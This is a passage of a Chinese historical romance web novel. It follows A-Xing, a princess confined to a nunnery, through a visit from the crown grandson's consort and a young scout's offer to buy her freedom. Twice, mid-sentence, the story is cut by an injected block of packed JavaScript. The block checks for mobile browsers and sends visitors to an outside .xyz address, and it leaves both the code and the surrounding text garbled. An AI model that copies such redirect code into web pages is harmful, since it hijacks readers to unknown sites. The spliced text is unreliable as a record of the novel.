宋海晏道:“那天陶罐碎了之后,你把碎片埋在了阿难殿后的梅花树下。我离开前的那天晚上,特意去殿后将碎片挖出来,拼凑出原来的形状。后来我去了附近的江宁城,如果整个江宁城都找不到一模一样的罐子,那也罢了。可如果让我找到了,我总归是要回来一趟,将这只罐子还给你。总不能因我的过失,叫你失去心爱之物……” “我在江宁城逛了整整一天,每一家店铺都问了一遍,总算找到了你手中这只陶罐,所以我又回到这里。”他的神色带着几分调侃的意味,得意道:“阿幸,按我们那边的规矩,如果惹朋友生气了,就要以礼物相赠。对方如果收下礼物,就表示既往不咎。阿幸你收下的我的礼物,代表过去的事一笔勾销,不管我从前做错了什么惹你生气,你都不可以再记挂在心上……” 阿幸内心深深叹了一口气。 他费了偌大心机,重新折返回来。原来是以为惹到她,眼巴巴地买了礼物过来赔罪。可他又何尝做错了什么,只是喜欢上一个错误的人罢了。 宋海晏忽又敛了笑意道:“阿幸,你如果不喜欢我,不愿意再见到我,只要你说一句话,我马上就走,绝不多留一刻。不必再拿匕首出来,这样辱没了我,又何尝不是辱没了你自己?” 他说完了之后,便定定看着她,似乎在等着她做最后的宣判。他脸上原先的得意和调侃已然褪去,取而代之的是一种近乎凝重的平静,仿佛在告诉她,不管她做出什么样的决定,他都会坦然受之。 然那双眼中,依然有一道隐隐的暗光,铭刻着期待,还有向往。 阿幸垂下头,不去看他。她对自己说,现在就作出决断吧,将他从药师庵逐出去,也将她从你心里最幽微之处逐出去,这样你便不会再生出烦恼之心。 可她心里到底是生出憎恨来。 人知好色,则慕少艾。 她并非自愿出家为比丘尼,也从不信什么佛法。如果没有那一纸敕命,她如今的年龄,母亲或许正在给她物色驸马。金枝玉叶、凤子龙孙,她想要什么样的人儿会得不到? 更何况,宋海晏本也恋慕于她——否则这枯寂禅院,又有什么值得他去而复返? 人生短短数十年,眼前光阴不过白驹过隙、浮光掠影。她的一生囿于这方禅院便罢了,难道竟连这一点罅隙间的欢悦也不配拥有吗? 宋海晏见她低头,久久没有言语,脸色变得苍白,那抹暗光也渐渐消失,他拱手道:“看来是我唐突,令你感到为难。我明白你的意思了,我这便离开——” 他转身,大步向知事堂的大门走去。 “等等。”身后传来少女的声音,带着几分急促:“上天有好生之德,宋公子既然救下这一窝斑鸠,可不能就此抛下不管。翻墙爬树给它们捉虫子,这些我可不会……” 宋海晏脚步猛地一顿,仿佛被一股无形的力量拉住了。他转过身,眼中的光霎时间明亮起来,嘴角扬起,露出一抹难以掩饰的笑意:“遵命——” 阿幸回到自己的房间,见她生病前没有写完的《金刚经》已经全部写完,她随意翻开一卷,其中簪花小楷,和自己的笔迹果真一模一样,若非她提前知道,决计看不出来。 她不由转头看向倚门而立、濯如春柳的少年郎,问道:“你是怎么做到的?” 宋海晏脸上颇多得意之色,道:“这就是我们斥候行当的本事了,有时候截获敌方情报,少不得偷梁换柱,换上些假消息再原样送回去。别说是你的字,就算是皇帝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279677|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,我也能写得一模一样,叫他自己都认不出来。” 这话若叫怕旁人听去,少不得一个大不敬之罪。阿幸微微摇头,板起脸孔:“宋公子,慎言。” 第二天一早,韩常侍依约来到药师庵,见《金刚经》果然如期完成,大为和悦,念完皇帝嘉勉的口谕后离开。 送走韩常侍之后,阿幸的日子轻松了许多。名义上她要照料宋海晏这“病人”,便不需要去执事长老处领每日的杂役,早课后就可以回到知事堂。 而“病人”每天爬树上墙,捉虫子喂食斑鸠,忙得不亦乐乎,并不需要她照料,她的日子便分外清闲起来。 阿幸无事可做,见宋海晏常常放在手边的那本《六韬》正搁在门槛上,就顺手捡起来。 她三岁入药师庵修行,但她的母亲——太子妃苏氏仍怀有一些不切实际的念头,冀望待她成年之后,皇帝能降下恩典,许她还俗归家,婚于世家。又恐她长于庵堂,不知诗书礼仪,为高门世家所耻。自她八岁起,便每年派遣女学士到庵中,教授《诗经》《礼记》以及闺中女子常读的《女诫》《列女传》等书。 至于《六韬》这等兵家之书,她当然从未读过。 她见书上有折痕,想来宋海晏上次正读到此处,便将折痕展开,仔细看去。 【文王问太公曰:“何如而可以为天下王?” 太公曰:“天下非一人之天下,乃天下之天下也。同天下之利者,则得天下;擅天下之利者,则失天下。天有时,地有财,能与人共之者,仁也;仁之所在,天下归之……”】【1】 她读到此处,心中忽然升起一股奇异的感觉。她以为兵家之书,无非讲如何训练军士、如何排兵布阵、如何克敌制胜等杀伐之事,没想到开卷竟是“仁之所在,天下归之”,竟然颇有趣味,便顺着读了下去。 她沉醉书中,浑然不知光阴之促,等回过神来,已是中午。宋海晏已在矮几上摆好斋饭,却并未动筷,只双手支颐,一双眼灼灼地看着她。 见她转头,宋海晏方笑道:“静慧师太已经来过了,我见你读书入神,便没有叫你。没想到你会对兵书有兴趣,我家中姊妹们虽也读书,但除了我妹妹碧棠以外,大多喜爱《诗经》《乐府》之类,从不看这些。难得这么枯燥的书你也读得进去,阿幸你竟是个女兵仙?” 阿幸脸颊微红:“我从前没读过这些书,所以感到新奇。” “这世上你没有读过的书可多着呢,我家中的藏书堆满了整整三间屋子,可惜我这次就带了一本《六韬》,还是防止回去之后父亲考查我的功课。” 宋海晏忽地想起什么,腾地站了起来:“你要是喜欢读书,这也好办,我上次路过鸡鸣镇,那里有一间书铺,我现在就去买些新书来……” “不用这么麻烦——”阿幸连忙道,可她还没说完,少年身影如风,已经跃过围墙,消失在药师庵的黛瓦之间,竟是连午饭也顾不得吃。 少年心中像是燃着一团急于燎原的野火,要将一腔炽烈都捧出来。 等黄昏时分,阿幸才又看到宋海晏。 他背着一个大大的包袱,从药师庵的某处围墙翻了进来。那包袱似乎比他的人还重,宋海晏一个趔趄,差点被包袱压倒在地。 阿幸看着散落一地的书册,怀疑他简直将书铺的书全部买了一本回来。少年浑身是汗,衣衫都已湿透,瘫坐在地上喘着粗气,脸上却满是得意之色,笑道:“阿幸,你该多读书。你读了书,就会知道外面的世界比这小小一座药师庵大多了,也有意思多了——” 13. 第十章 骖鸾驾凤 有了这些书,阿幸不再为每日无所事事而发愁。 每日早课之后,她就回到知事堂找出一本书来看。宋海晏买的书类别很多,除开儒学经典外,还有些阿幸闻所未闻的书。譬如《冥寰录》、《鬼狐传》,记载了一些民间的鬼神故事。又如《山川地理志》和《舆图纪略》记载了山川河流走向、都市城镇风貌,连北方的北魏、西边的巴蜀都有记载。还有《大楚岁时记》、《九州风土记》,记载了各地的节日习俗、民间传说等。 如宋海晏所言,这些书向她展示了一个与她所知的截然不同的世界。 她从前亦知药师庵外,有着广阔的世界;读了这些书之后,她才知道,这个世界比她想象中的还要大得多,是穷尽她的想象,也无法达到的宽广壮阔、生机勃勃。 她废寝忘食地阅读,恨不得将书中的一切都装进自己的脑海里。然而这般畅意的日子并没有持续多久,二十日之后,她名义上的嫂嫂,皇太孙萧樗的正妃齐氏到药师庵进香,宣她觐见。 *** 太孙妃名为齐宝珠,出身江左第一门阀齐氏,是当今皇后娘娘的内侄孙女。 数十年前天下大乱,当今天子萧胥于广陵起兵,江左齐氏第一个响应,不仅出钱出粮出人,并且将嫡长女齐明霜——即如今的中宫皇后嫁给萧胥为妻。后来萧胥果真一统整个南方,建立大楚政权,齐氏也水涨船高地成为大楚第一门阀,族中不少子弟都身居高位。其中官位最显赫者便是如今皇后的胞弟齐鸿,因功勋卓著封大司徒,位列三公,金印紫绶,齐氏一族荣华极矣。 萧胥与齐皇后可称琴瑟和鸣,朝野民间皆知帝后感情极好,后宫不过形同虚设而已。然而这般美满的婚姻亦有缺憾,皇后一连生下四子,皆幼年夭亡。唯有第五子萧灵玉长成,被封为太子,娶妃苏氏,可惜婚后不久,太子萧灵玉亦病亡,这对帝后和江左齐氏都是沉重的打击。 太子病故之后,齐家接连送了三个女儿入宫,期待能生下储君,继续维持齐氏一门荣耀。然而皇帝中年丧子,对此力不从心,后宫之中并无什么好消息。直到两个月后,太子妃苏氏的肚子先传出了喜讯,太医诊出苏氏怀了遗腹子,还是一对双胞胎。 又过了七个月,这一对双生儿女呱呱坠地,让帝后及江左齐氏都欢欣至极。男孩儿被起名为萧樗,一出生就被册封为皇太孙,这个流淌着萧氏和齐氏之血的男孩儿承载着大楚王朝的希望,以及齐氏一门的全部厚爱。 萧樗十五岁时,司徒公将自己最心爱的孙女,有着大楚第一美人之称的齐宝珠嫁给他,成为皇太孙妃。 皇太孙妃到药师庵进香,仪仗自然是非比寻常。 金甲卫持戟肃立,羽林郎执旌旗分列两侧,旌旗猎猎,随风翻卷,气势恢宏。舆车以金玉为饰,四角悬挂鸾铃,行进时铃声清脆,宛如天籁。 舆顶覆以九龙华盖,龙首昂然,龙鳞熠熠,金光四射,映照天地。舆内铺设锦褥,绣有百鸟朝凤之图,太孙妃齐宝珠端坐其中,一头秀发挽作高耸的巫山垂云髻,鬓插金步摇,颈佩红璎珞,羽衣流霞,华服垂地,宛若九天玄女临凡。 药师庵很少迎此贵客,不敢轻忽。静仪师太率二十四名比丘尼到山门亲迎,将太孙妃引入主殿进香。礼毕后,静仪师太请她在蒲团上坐下,二十四名比丘尼将她围在中间,念诵药师佛心咒,为其祈福禳灾。之后,才将皇太孙妃迎入一处佛堂奉茶。 药师庵用来待客的茶名为松叶银针,入口甘醇,后味略带着清苦。齐宝珠饮不惯这等粗茶,只略沾了沾唇,向静仪师太微笑道:“本宫听闻太孙有一皇妹,自幼在这药师庵修行。本宫与太孙结缡二载,还未曾见过皇妹,不知师太可否将皇妹请来,让我姑嫂二人一诉衷肠?” 静仪师太愣了片刻,齐云珠开门见山,要求见阿苦,倒不像是来药师庵进香,倒像是专为阿苦而来。但天家的事,她也插不进手,行了佛礼道:“阿弥陀佛,贫尼这便着人去请。” 阿幸听闻齐宝珠要见她,也略微愣了愣神。她对这位嫂嫂的了解,仅限于两年前母亲在书信中提过一次,说是她的哥哥娶妃齐氏,盼她在药师庵再捱两年,等嫂嫂添了小小皇孙,皇帝就不会因为子嗣单薄之事烦心了,母亲再设法去御前求情,允许她还俗。 后来母亲的信中再没有提及这位嫂嫂,倒是祖父因为太孙的宫妃流产之事下过几次申斥她的旨意,为此她手上又添了许多新茧,想来嫂嫂添丁之事并不顺利。 太孙妃要见她,她并没有拒绝的理由。齐宝珠出身名门,有着太孙妃的身份,将来更是一人之下万人之上的皇后娘娘。她虽然有着公主的名分,却早为天家所弃,落地凤凰,岂能与逐云而上的青鸾相比? 阿幸入殿时,见齐宝珠坐于上首,华服明妆,宛如珠玉,朴陋佛殿也被照得满堂华彩,对比她一身素衣简服,何异于云泥之别。她朝太孙妃俯首下拜:“阿苦见过太孙妃。” “皇妹请起。”齐宝珠连忙将她扶起,仔细端详片刻,含笑道:“我早听母亲说皇妹与太孙生得一模一样,今日一见,果然如此。” 齐宝珠将阿幸拉到自己身边坐下,道太孙虽在宫中,却日夜思念皇妹在庵中受苦,又说自己婚后一直想来庵中探望,只是宫中事多不得空云云。又命侍女取出宫中御制的糕点,请她品尝,说是特意给她做的素糕,念她在修行之中,连一丝荤油都没放。 阿幸这些年对金陵皇城中的亲人早冷了心肠,只将满腔辛酸收入腹中,将素糕吃了两口,又刻意作出些笑容来,谢过太孙及太孙妃的记挂。齐宝珠又问她这些年在庵中修行如何,衣食是否合口味,住得可还习惯等,阿幸也一一作答。 寒暄完毕,姑嫂二人之间已极亲昵,齐宝珠拉着阿幸的手,说道:“皇妹,嫂嫂今日来这药师庵,是有一事相求。” 阿幸心中早知事无好事,面上却不显,笑道:“嫂嫂说哪里的话?嫂嫂您身份尊贵,将来大楚国祚都系于您一身,您有事吩咐,臣妹自然尽力,何用一个求字?” 齐宝珠听了这话,神色间极受用,她将手放在自己小腹上,微笑道:“不瞒皇妹,自我嫁给太孙两年以来先后两次有孕,可惜都没能保住。前几日,我觉得神思倦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279678|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怠,传太医诊视,才知又有喜了。我想这应该是皇妹上个月抄《金刚经》二百卷,积福所得的福报。” 阿幸心中只觉荒谬无比。她抄经积福,却并不是自己得福报,这福报反而落在别人身上,她曲意逢迎道:“这是嫂嫂福德深厚,臣妹不敢居功。” “皇妹过谦了,谁人不知道十四年前觉通禅师之言,是皇妹你每日于佛前诵经祈福,方才消得业孽,保萧氏一门子息繁盛。我今来这药师庵,也正是为着此事。”齐宝珠道:“前日太医说了,我这脉象有力,腹中多半是个男胎,然我前面滑胎两次,这一胎未必能保住。因此,我想请皇妹早晚为我腹中孩儿持诵心咒,佑他能平安生下来。” 阿幸道:“此事不难。嫂嫂既然开口,臣妹自当奉行。” “此为其一。”齐宝珠微笑道:“二者,我想请皇妹再抄《金刚经》一百卷,我想分发于东宫宫人,人人持诵,为我儿多积福报。” 又是抄经? 阿幸忍不住摸了摸自己因为常年抄经弯折的指骨,小心试探道:“上个月不是刚抄了二百卷吗?” 齐宝珠道:“那是太孙病了,东宫宫妃又有滑胎之事,因此陛下圣意,命皇妹抄经为太孙积福。如今太孙已大安了,我想这抄经积福之事果真灵验,才到这药师庵来,想请皇妹你再为我腹中孩儿抄经积福,教他比之众兄弟更康健些,将来自然更得皇帝陛下的钟爱。” 阿幸哭笑不得。 齐宝珠之意,她上次抄经是祈东宫子息繁盛,如今已经应验。所以这位嫂嫂到药师庵来,求自己单独为她腹中孩儿抄经积福,不求雨露润泽整座东宫,只望自家麟儿能得万全。 齐宝珠俨然将她当作救苦救难的活菩萨,却浑不知她这“菩萨”不过肉体凡胎,连自身都难以保全,又怎能庇佑他人? 见她不言语,齐宝珠又道:“皇妹,并非我偏私。在这宫城之中,属于你的东西你不争不抢,就会被别人拿走。皇妹你想,你的祖母是我的姑祖母,算起辈分来,你也是我的表妹,身上有着四分之一的齐氏血脉。将来我腹中的孩儿,与皇妹的关系自然更亲近些。他若能平安生下,成为储君,对皇妹自然与别人不同。再者,我怎会平白无故地多提这些要求,事成之后自然少不了皇妹的好处……” 齐宝珠说了这么多话,颇为口渴,将那杯清苦庵茶饮尽,继续道:“我了解母妃的心愿,她认为皇妹早过及笄之年,希望你能早点还俗,再许一门好亲事。我腹中孩儿若是平安生下,自然是嫡子,这大楚一朝的江山后继有人,便解了陛下悬于心头的大事。届时,我也会往椒房殿求皇后娘娘,求她在陛下耳畔吹吹风,让皇妹能够还俗,再招赘一位驸马,岂不甚好?” “不瞒皇妹,我连驸马的人选都帮你物色好了。我有一位远房族兄,名为齐韶。虽然不是齐氏嫡支,但其人风神秀彻、文表出众。今年方十九岁,被我爷爷称为江左齐氏年轻一代最出众的人物,如今在东宫担任詹事一职,与皇妹正是良配,皇妹以为如何?” 齐宝珠说完,一双凤眼热切地看向阿幸,等着她应允。 14. 第十一章 关关雎鸠 阿幸轻轻叹了一口气,道:“嫂嫂,我在药师庵中多年,也习得些许医术,不知嫂嫂可愿意让我问脉?” 齐宝珠道:“这当然可以。”她伸出右手,阿幸按了片刻,又换了左手,重新诊视一遍。 药师庵专为女客治病,阿幸从前跟随静仪师太也诊过不少孕脉,有过一些经验。这种孕妇多次滑胎流产之事,多半因为当丈夫的身体不好,精气不足,致使孕胎难以长成。就算寻医问药,强行保胎,生下的孩子也天生不足,容易夭折。 她的哥哥自幼身体就不大好,又娇生惯养地长大,皇帝为子嗣计,年方十五岁便为其充塞后宫,身体早亏空了,宫妃就算有孕,也极难生下身体健全的孩儿。 齐宝珠的脉象,果然证实了她的猜想。这一胎,正常情况下极难保住。她能看出来,宫中的太医自然也能看出来。齐宝珠来到药师庵,将她当做最后的救命稻草,甚至不惜许以帮她离开药师庵的承诺,连齐家的天之骄子也愿许给她做驸马。 可抄经积福……她摸了摸自己受伤的右手,心道,这损他人福德积的果报真的能让齐宝珠得偿所愿吗? 齐宝珠见她久不言语,面色也紧张起来:“皇妹,莫非脉象不太好?我出门之前,太医诊过脉,他说只要好好保胎,孩子是不会有问题的,莫非那庸医骗我——” 她说到最后,声音也有了切齿的厉色。 阿幸摇了摇头,脸上勉力挤出一抹微笑来,柔声宽慰道:“没有,孩子挺好的。如太医所言,嫂嫂好好养胎,一定能生下麟儿。臣妹也会早晚为侄儿诵经持咒,再抄《金刚经》两百卷为他祈福……” “这就好……”齐宝珠放松下来,脸色到底带了一抹苍白,她身边的奉御女官上前道:“殿下,已到午时末,该起驾回宫了。” 两人这一番对谈下来,齐宝珠早已疲乏,阿幸既同意抄经祈福,她此行的目的已经达到,再无逗留的道理。她在两位宫娥的搀扶下站起身,向阿幸道:“皇妹,时辰不早,我该回宫了。经书我两个月后差人来取。我允诺之事,也请皇妹放心,只要我诞下皇儿,江左齐氏没有办不到的事……” 阿幸目视着太孙妃走到佛殿门口,忽然叫住她:“嫂嫂留步。” 齐宝珠转身:“皇妹还有何事?” 阿幸问道:“嫂嫂,你前来药师庵,太孙殿下……我哥哥他可知晓?” 齐宝珠笑道:“自然知道,阿樗前日见了皇妹抄的《金刚经》,还夸皇妹字写得极好呢,说自己就算再练一百年,也写不得像皇妹一样的好字。还说幸好有皇妹你为他积福,他的病才能好呢。” 阿幸:“哥哥可有托嫂嫂带话给我?”齐宝珠摇了摇头。 阿幸胸口一闷,只觉一阵钝痛。她又问道:“母妃呢,她可知晓此事?” 齐宝珠道:“不知。母妃这些年诚心礼佛,一个人住在西苑,她好清净,不喜欢被打扰。我只有每月初一十五晨昏定省之时,才会见到母妃。皇妹可是有什么话要我带给母妃或者太孙殿下?” “没有了。”阿幸跪下行礼:“臣妹恭送太孙妃娘娘。” 江南的暮春已行至终末,阿幸回知事堂时,见苔阶积满杨花,恍若经年未扫之积雪。有风徐来,旋起团团絮影,栖于经幡之上。 她低头看着脚下,杨花被她的脚步轻轻带起,又缓缓落下,如同她此刻的心情,沉重而无法摆脱。 她在齐宝珠面前并没有说实话,宁愿承诺抄《金刚经》两百卷,给她一个虚无飘渺的希望。 其实这实话又何须她来说,齐宝珠提及太医时那惨白的脸色,那声色俱厉的语气,彰示她早已知道自己脉象不好。来药师庵找她,也只是强行给自己添一点信心罢了。 姑嫂二人,默契地用谎言维持着皇室子息不蕃背后虚假的体面。至于帮她离开药师庵的许诺,人中龙凤的齐家驸马,不过空口一言罢了,谁又能当得真? 阿幸心底渐渐生出绝望来。 她有一种预感,她这一辈子再也不能离开药师庵了。 她的哥哥很难有体格康健的孩子,而她的祖父不会认为是皇孙身体亏虚,只会因十四年前觉通大师的一番话,将此事继续归咎于她礼佛之心不诚。 她原以为与萧樗同胎而出,兄长对她多少有点手足之情。将来他继位登基,或许能看在同胞之情上放她出去。今天听齐宝珠话意,兄长分明也同皇祖父一样,认为将唯一的妹妹禁锢在庵堂为他祈福延年是天经地义之事。 他今日身体好了,尚能感念妹妹为他积福,若是哪一天缠绵病榻,是否会像祖父一样,对她生出怨恨来? 阿幸不敢深想。唯一可确信的是,她将在这一方庵堂中,虚度青春年华。她会有永远也写不完的经卷,用尽力气为萧家曾经的血腥杀戮赎罪,直到她的手再也握不得笔为止。 可皇权的罪孽,又何止杀戮而已? 阿幸一步一步走到知事堂门前,推开那扇棕褐色的大门。 大门洞开,院内阳光斑驳,日影错落。那株老梨树已生得枝茂叶秾,全然看不出初春时节萧疏虬结的影子。 宋海晏坐在在梨树底下,一只斑鸠落在他右肩上,一只落在他手上,还有两只绕着他的头顶盘旋飞翔,发出咕咕的鸣叫声——自上次宋海晏救了这一窝的斑鸠,每日不辞苦劳,捉虫将它们喂养长大,知事堂便常见这样的情形。斑鸠们将宋海晏当做它们的母亲,虽然早就可以自行觅食飞翔,但饱足之后,还是喜欢围在他的身边,叽叽咕咕叫个不停,让这清冷的禅院也热闹起来。 宋海晏见她走入,脸上的笑容瞬间明亮起来,招手道:“阿幸,过来——” 清风扫过廊檐下的铜铎,发出清脆的鸣响,余音在梨树枝桠间荡开,久久不息。阿幸内心忽地平静下来,这一路积郁之气也消失无踪。 这一方阎浮世界中,她拥有和得到的东西的确少得可怜,却也绝非一无所有。 至少这座温暖、明净的 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他丝毫不在意阿幸在旁,展信读了起来:“阿兄,你到药师庵养病已二月有余,伤势如何,可好全了吗?端午庐江有龙舟赛,兄长不至,谁可夺魁?这两个月小妹改进了阿兄常用的讯箭,使之重量更轻、射程更远,阿兄必定喜欢。妹碧棠字。” 他读信的时候,神情极柔和,唇角轻轻上翘,显是欣悦极了。阿幸也不由得被这笑容感染,问道:“是你妹妹想你了,寄信来催你回去?” 宋海晏轻笑一声:“她哪里是想我?是五月端午将近,她怕没有我镇场子,龙舟赛上我们宋家说不定就输给赵家、陆家他们,大大有损她宋碧棠淮南第一女军师的名声。还有,龙舟赛的彩头足足有五千钱,她想要这笔钱很久了,要是没我镇场子,这钱可不易得……” 阿幸忍不住道:“你们兄妹感情真好。” 宋海晏哈哈一笑,眉眼都飞舞起来,说道:“当然,我这个妹妹极聪明,我们淮南军中各种军械、武具、舟船她都了如指掌,上次宝瓶口的大胜,也有她一份功劳。我这个做兄长的常常以她为傲——” 阿幸想起上午的事,眉间多了一丝阴霾,低声道:“其实,我也有一个哥哥……” “哦?”宋海晏第一次听她说起家人的事,问道:“那他一定也很疼爱你吧?” “不,我自幼离家,他大概已经不记得我了。”阿幸抬起头,看向金陵的方向,道:“家中的人都不记得我了……就连我的母亲,或许也已经忘了我的模样了……” 她闭了眼,将所有情绪都敛入一双黑色瞳孔:“有时候,我宁愿他们彻底将我忘了……” 少女茕茕孑立,声音极低,嗓音中带着说不出的氐惆,如同孤飞于天地的雏鸟。宋海晏的心瞬间揪作一团,“阿幸,我不管别人是怎么样的。我会将你的模样放在心里,我会永远记得你——” 15. 第十二章 春夜胧月 “对了。你出去一趟,错过了午饭的时辰,不如尝尝这个……”宋海晏忽想起什么,从梨花树后拿出一只竹盒,献宝一样托于阿幸面前,说道:“今早陈伯从庐江回来,除了带回那只镔铁箭,还带了这个。” 他打开盖子,里面是某种肉脯,呈红褐色,外面还裹着一层蜂蜜。用竹屉分开,一个一个排列,极为精致,一看就是出自高门大家。另有一只小小雕花竹筒,装着数根竹签,作为取食之用。 宋海晏解释道:“这东西叫素鹿炙。我母亲闺阁时最喜欢吃鹿肉,嫁给我父亲后,顾念他在外征战、兵凶战危的,便开始潜心向佛,为父亲祈福,戒食荤腥。她馋鹿肉,又不想破戒,就找佛寺的僧人学了一道素斋,用豆粉、竹荪还有蜂蜜制成,不仅外表和烤鹿肉一模一样,连味道也相差无几,馋嘴时就吃一两块。母亲听说我在药师庵的这段时日,都是蒙你照料,所以亲自做了这道素斋,命陈伯快马送来,特地表达谢意……你看,还新鲜着呢…你尝尝吧……” 阿幸本不太饿,见宋海晏眼神殷切,夹起一块素鹿炙放入唇中。刚入口时,是蜜糖的清甜,再往下咬时,便觉得一阵恶心,竟将那素鹿炙全部吐了出来。她自三岁入庵修行就吃斋茹素,从未食过肉,没想到自己竟连与肉炙味道相近的素食也吃不得。 宋海晏见状,微微蹙眉:“阿幸,你怎么了?难道素鹿炙有什么问题?” 阿幸摇头:“不,不是,我自幼入庵堂修行,不惯吃肉,就算味道相近也不行,只怕辜负了夫人一番心意。” 宋海晏见她没事,略放了心,倒了一杯水给她漱口,开解道:“吃不惯就不吃了,谈不上什么辜负不辜负的。”那几只斑鸠见地上落了食物,从树上飞下,你一口我一口,很快就将那肉炙啄了个干净,又围着宋海晏,咕咕咕咕地叫个不停,似是还想再要。 宋海晏失笑:“阿幸吃不得这个,倒是便宜了你们……”他也不吝啬,取了肉炙抛在地上,看着斑鸠啄食,又道:“吃吧吃吧,你们也长大了,以后就要自力更生了。过两天我也喂不着你们了……” 斑鸠们不懂人言,上下扑腾,分食肉炙,好不开心。 阿幸听出了言外之意,问道:“宋公子,你决定要离开了吗?” 宋海晏点头道:“是啊,再有半个月便是端午节了。我们庐江属古楚国旧地,素来有祭祀屈原的传统,端午那日,除了举办龙舟竞赛、与民同乐以外,我们庐江各家都会举办端午大祭。我是宋家长子,自我十四岁以来,端午大祭一直都是由我主持,算算时间,我该回家准备这件大事。” 时交未正申初,日影已渐西移,梨树在地上投下幢幢的阴影。宋海晏恰站在有着夕照的一侧,日光强烈,让他脸上的笑容越发清晰明朗。 阿幸站在梨树的阴影之下,清风拂卷,分明是夏初时节,她却觉得有些凉意。 她早知道宋海晏终究是要离开的,从早春到夏初,他已经在药师庵延宕太久了。不提来自庐江的信件,这些天静慧师姑送饭之时,就数次问他伤势恢复得如何,有意无意间暗示药师庵收留男客已是破例,他若是伤愈就该尽快离开。 可当宋海晏当真决定离开时,她的心却像被一只无形的手狠狠攥住,闷痛得几乎喘不过气来。 “阿幸,你站到这边来。”宋海宴见她整个人落在阴影之下,朝她招手。 梨花树下的少年郎君言笑晏晏,如树梢的春月,仿佛她伸手就可触之,摘折而下,却又仿佛高悬于天、遥不可及。 阿幸忽生起一种不真实感,心中无来由地冒出一句话来。 那是《金刚经》中的一句:凡有所相,皆是虚妄。 虚者,是这世间不存在之物。 妄者,是这世间求不得之物。 所以,在那我目中着相的少年啊,你究竟是谁?你从何处来?你真的是这阎浮世界中的一人吗? 还是你根本从不存在,仅仅是我虚妄的想象? 这座小院,这段从光阴罅隙中偷得的时光,是我切实有过的记忆,还是一段空相?是梦、幻、泡、影? 自你离开后,它们还会存在吗? …… “阿幸,阿幸……”清润的嗓音从耳边传来,阿幸回神时,见宋海晏正站在她面前,右手在她的眼前晃动。 “怎么了?” “你刚才突然一动不动,我叫你好多声都没听见,像被魇住了一样……”宋海晏看向落在禅院塔尖上渐落的夕影,道:“太阳要下山了,树底下凉,我们到那边去说话。” “我没事,只是方才在日头底下站久了,有点晕。”阿幸道:“我还有事,先回房了。” 她回到自己的房间,怔怔坐了一会。想起上午的事,终究认命地拿出纸笔,开始抄写经文。齐宝珠一开口就是《金刚经》两百卷,要在两个月之内完成,接下来她只怕更不得喘息。 黑色的墨迹在苇草纸上晕开,夕阳从菱花窗格中透入,在书案上投下光影。她写了两行字,那光影就被一道黑色的轮廓挡住了。 阿幸抬头,见宋海晏不知何时坐在她旁边。他眉宇紧锁,面现忧色:“阿幸,你怎么又在抄经了?”他忽地想起什么,道:“今天上午你离开时,那位通报的比丘尼好像说皇太孙妃要见你,是她命你抄经?” 阿幸顿了一下,点了点头。 “上次也是她?” 阿幸默不作声。是皇帝敕命还是皇太孙妃的恳求,其实没有差别,都是她无法拒绝也无法反抗的事。 她的沉默被宋海晏视作默认,他语气一沉,问道:“为什么?这药师庵的比丘尼加起来也有上百人,她为什么偏偏选中你?” 阿幸无言以对,她淡声道:“宋公子,没有为什么。我生来就是如此命运,金陵城的那些大人物让我做什么,我就得做什么,难道还有什么选择的余地不成?” 宋海晏怔了半晌,他伸手去拿阿幸手中的笔:“我来帮你抄——” “宋公子,你明天就要离开了,就算你能帮我,又能帮多少。” 阿幸拦阻了他的动作,她看向宋 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阿幸瞳孔微微一震。药师庵治病救人并不收钱,很多达官贵人在病愈之后会选择来庵中进香,并撒下成千上万的香火钱,然而这些钱还是太多了,就算买下整座药师庵还有余数,宋家送来这么多钱是想干什么? 宋海晏转过头来,直视她的双眼,真挚道:“阿幸,我给你说过很多我的事,可还有很多没有说。像上次的大战,我虽然受伤,但也领军从北魏手中夺回一座城池。朝廷已经降下封赏犒赏将士,还额外赐下一笔赏钱。我的母亲出身大家,嫁妆不菲,她说我今年十七,也到了该娶妻的时候,便拿了一部分出来,换成银钱,说是要给我娶妻用。加上我从前攒的零花钱,总共加起来,足有四十万之数,就是你眼前看到的这些……” 看阿幸眼神愈发迷惘,宋海晏继续道:“我听说前朝有位皇帝,舍身到寺里舍身出家。朝廷少了皇帝,一切都乱糟糟的。后来大臣们集齐一亿钱,将他从庙里赎回来继续做皇帝。我没有那么多钱,好在阿幸你也不是皇帝,四十万钱或许便够我赎你了。当然,如果静仪师太仍嫌不够,我便只能去找人拆借了,大概也能借得几万钱。如果再不够,我便只能拼着被父亲责骂,去找家里要钱了,无非就是多挨一顿打,总之,庐江宋家总不至于娶不起新妇……” “阿幸,你还记得吗?那天下雨,梨花还开着,我在门槛上坐着,你问我起何心,动何念?这便是我那时想说的话。阿幸,我不知道你是什么人,你是谁都没关系。阿幸,我心悦你,想带你离开这里……” “离开药师庵,外面会有更广阔的世界等着你,就像书里写的那样。” 他定定看着她,那目光宁静温和,无一丝迫人,却灼得她整个人整颗心都发烫。 如春夜之胧月,澹泊照人,葳蕤生光。 他顿了一下,又道:“阿幸,我不知道你的命运是什么,也不知道能否改变一切,但我会是一直抓着你的那只手,我说过要给你祝福,也是认真的。我会尽我所能,让你成为真正的阿幸,你愿意和我一起走吗?” 16. 第十三章 虚相实相 阿幸后退一步,靠上墙壁,身体像失去了全部的力气,缓缓滑落在地。 